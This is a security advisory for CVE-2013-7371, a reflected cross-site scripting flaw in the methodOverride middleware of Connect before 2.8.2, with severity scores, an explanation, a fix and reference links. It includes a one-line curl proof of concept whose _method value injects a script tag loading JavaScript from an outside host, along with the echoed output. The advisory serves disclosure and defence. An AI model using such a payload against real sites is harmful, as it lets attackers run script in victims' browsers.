6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.004 Low
EPSS
Percentile
72.4%
node-connect before 2.8.2 has cross site scripting in Sencha Labs Connect middleware (vulnerability due to incomplete fix for CVE-2013-7370)
Connect is a stack of middleware that is executed in order in each request.
The “methodOverride” middleware allows the http post to override the method of the request with the value of the “_method” post key or with the header “x-http-method-override”.
Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the “Cannot [method]
[url]
” content. The method was not properly encoded for output in the browser.
~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /
Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.
Sergio Arcos
www.openwall.com/lists/oss-security/2014/04/21/2
www.openwall.com/lists/oss-security/2014/05/13/1
access.redhat.com/security/cve/cve-2013-7371
exchange.xforce.ibmcloud.com/vulnerabilities/92710
github.com/senchalabs/connect
github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a
github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135
github.com/senchalabs/connect/issues/831
nodesecurity.io/advisories/methodOverride_Middleware_Reflected_Cross-Site_Scripting
nvd.nist.gov/vuln/detail/CVE-2013-7371
security-tracker.debian.org/tracker/CVE-2013-7371
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.004 Low
EPSS
Percentile
72.4%